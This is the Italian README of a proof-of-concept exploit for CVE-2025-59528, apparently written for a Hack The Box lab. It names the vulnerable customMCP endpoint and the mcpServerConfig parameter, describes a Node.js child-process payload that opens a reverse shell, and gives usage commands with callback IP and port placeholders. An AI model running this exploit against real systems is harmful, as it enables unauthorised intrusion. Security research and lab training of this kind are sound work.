
PoC per CVE-2025-59528 utilizzato per ottenere l'esecuzione remota di codice sulla macchina Silentium su HTB
Solo uso didattico. Questo progetto è destinato a ricerca sulla sicurezza controllata, dimostrazioni in aula e test autorizzati in un laboratorio isolato. Non utilizzarlo contro sistemi, reti, applicazioni o account che non possiedi o per cui non hai esplicito permesso di test.
Questa prova di concetto dimostra come un valore mcpServerConfig gestito in modo non corretto possa consentire l'esecuzione di JavaScript lato server e l'esecuzione di comandi tramite la funzionalità di caricamento dei nodi customMCP.
Lo script supporta due metodi di autenticazione:
Authorization.Dopo l'autenticazione, lo script invia una configurazione appositamente predisposta a /api/v1/node-load-method/customMCP. Il payload utilizza le funzionalità dei processi figlio di Node.js per eseguire un comando shell e riconnettersi a un listener controllato dal ricercatore. Questo comportamento è incluso solo per dimostrare il potenziale impatto in un ambiente di laboratorio autorizzato.
requests.Installa la dipendenza con:
python3 -m pip install requests
Salva lo script come CVE-2025-59528.py.
python3 CVE-2025-59528.py <email> <password> <target-host> <callback-ip> <callback-port>
Esempio con valori solo esemplificativi:
python3 CVE-2025-59528.py [email protected] 'REDACTED_PASSWORD' lab.example.test 192.0.2.10 4444
python3 CVE-2025-59528.py <api-key> <target-host> <callback-ip> <callback-port>
Esempio con valori solo esemplificativi:
python3 CVE-2025-59528.py 'REDACTED_API_KEY' lab.example.test 192.0.2.10 4444
Lo script prevede che queste route dell'applicazione siano disponibili:
/api/v1/auth/login/api/v1/node-load-method/customMCPLo script attuale costruisce URL http://. Aggiorna l'implementazione per HTTPS quando testi una distribuzione di laboratorio che richiede TLS.
main() convalida il numero di argomenti della riga di comando e seleziona la modalità di autenticazione.login() invia le credenziali fornite all'endpoint di login.tokens() estrae i valori di sessione dall'intestazione della risposta Set-Cookie.shell() costruisce la richiesta autenticata e invia il valore mcpServerConfig predisposto.bearer() esegue la stessa richiesta utilizzando un bearer token invece dei cookie di sessione.